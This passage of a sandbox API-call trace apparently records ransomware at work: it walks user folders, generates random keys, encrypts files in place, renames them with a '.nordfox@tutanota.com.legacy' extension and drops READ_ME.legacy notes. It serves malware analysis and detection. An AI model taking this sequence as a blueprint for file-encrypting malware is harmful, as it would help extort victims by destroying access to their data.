hHeap=0x520000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5918 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5918 | out: hHeap=0x520000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0112.461] FindNextFileW (in: hFindFile=0x5c58d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0112.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0112.462] GetLastError () returned 0x0 [0112.462] SetLastError (dwErrCode=0x0) [0112.462] GetLastError () returned 0x0 [0112.462] SetLastError (dwErrCode=0x0) [0112.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0112.462] GetLastError () returned 0x0 [0112.462] SetLastError (dwErrCode=0x0) [0112.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0112.462] FindNextFileW (in: hFindFile=0x5c58d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2049dfb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2049dfb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.462] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0112.462] GetLastError () returned 0x0 [0112.462] SetLastError (dwErrCode=0x0) [0112.463] GetLastError () returned 0x0 [0112.463] SetLastError (dwErrCode=0x0) [0112.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0112.463] GetLastError () returned 0x0 [0112.463] SetLastError (dwErrCode=0x0) [0112.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.463] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0112.463] FindNextFileW (in: hFindFile=0x5c58d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2049dfb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2049dfb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0112.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0112.463] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0112.463] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.463] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0112.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0112.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec [0112.464] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=282) returned 1 [0112.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x571fc8 [0112.464] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11a) returned 0x582160 [0112.465] ReadFile (in: hFile=0x5ec, lpBuffer=0x571fc8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0112.465] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.466] WriteFile (in: hFile=0x5ec, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11a, lpOverlapped=0x0) returned 1 [0112.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0112.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0112.466] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11a [0112.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.466] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.466] WriteFile (in: hFile=0x5ec, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.467] WriteFile (in: hFile=0x5ec, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.467] CloseHandle (hObject=0x5ec) returned 1 [0112.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0112.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.467] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0112.476] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5918 [0112.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0112.477] GetLastError () returned 0x0 [0112.477] SetLastError (dwErrCode=0x0) [0112.477] GetLastError () returned 0x0 [0112.477] SetLastError (dwErrCode=0x0) [0112.477] GetLastError () returned 0x0 [0112.477] SetLastError (dwErrCode=0x0) [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0112.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a58 [0112.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a58 | out: hHeap=0x520000) returned 1 [0112.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0112.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0112.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0112.478] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2049dfb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0112.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.478] GetLastError () returned 0x0 [0112.478] SetLastError (dwErrCode=0x0) [0112.478] GetLastError () returned 0x0 [0112.478] SetLastError (dwErrCode=0x0) [0112.478] GetLastError () returned 0x0 [0112.478] SetLastError (dwErrCode=0x0) [0112.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0112.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0112.478] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0112.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a58 [0112.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a58 | out: hHeap=0x520000) returned 1 [0112.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0112.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0112.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0112.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0112.479] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0112.479] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0112.479] GetLastError () returned 0x0 [0112.479] SetLastError (dwErrCode=0x0) [0112.479] GetLastError () returned 0x0 [0112.479] SetLastError (dwErrCode=0x0) [0112.479] GetLastError () returned 0x0 [0112.479] SetLastError (dwErrCode=0x0) [0112.479] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.480] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce2f1526, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0112.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.480] GetLastError () returned 0x0 [0112.480] SetLastError (dwErrCode=0x0) [0112.480] GetLastError () returned 0x0 [0112.480] SetLastError (dwErrCode=0x0) [0112.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.480] GetLastError () returned 0x0 [0112.480] SetLastError (dwErrCode=0x0) [0112.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0112.480] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0112.480] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.481] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3be1eb23, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Links", cAlternateFileName="")) returned 1 [0112.481] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0112.481] GetLastError () returned 0x0 [0112.481] SetLastError (dwErrCode=0x0) [0112.481] GetLastError () returned 0x0 [0112.481] SetLastError (dwErrCode=0x0) [0112.481] GetLastError () returned 0x0 [0112.481] SetLastError (dwErrCode=0x0) [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d528 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.481] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.482] GetLastError () returned 0x0 [0112.482] SetLastError (dwErrCode=0x0) [0112.482] GetLastError () returned 0x0 [0112.482] SetLastError (dwErrCode=0x0) [0112.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0112.482] GetLastError () returned 0x0 [0112.482] SetLastError (dwErrCode=0x0) [0112.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0112.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0112.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0112.483] WriteFile (in: hFile=0x5f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.484] CloseHandle (hObject=0x5f0) returned 1 [0112.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0112.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.484] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2049dfb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2049dfb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0112.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.485] GetLastError () returned 0x0 [0112.485] SetLastError (dwErrCode=0x0) [0112.485] GetLastError () returned 0x0 [0112.485] SetLastError (dwErrCode=0x0) [0112.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.485] GetLastError () returned 0x0 [0112.485] SetLastError (dwErrCode=0x0) [0112.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0112.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x5c5918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2049dfb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2049dfb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd206de97, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0112.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0112.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0112.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0112.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0112.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ff0 [0112.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0112.486] GetFileSizeEx (in: hFile=0x5f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=402) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x192) returned 0x582160 [0112.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x192) returned 0x5646a8 [0112.486] ReadFile (in: hFile=0x5f0, lpBuffer=0x582160, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x192, lpOverlapped=0x0) returned 1 [0112.487] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=-402, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.487] WriteFile (in: hFile=0x5f0, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x192, lpOverlapped=0x0) returned 1 [0112.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0112.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0112.487] SetFilePointer (in: hFile=0x5f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x192 [0112.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.488] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.488] WriteFile (in: hFile=0x5f0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.488] CloseHandle (hObject=0x5f0) returned 1 [0112.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0112.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0112.488] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\favorites\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ff0 | out: hHeap=0x520000) returned 1 [0112.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.492] RtlAllocateHeap 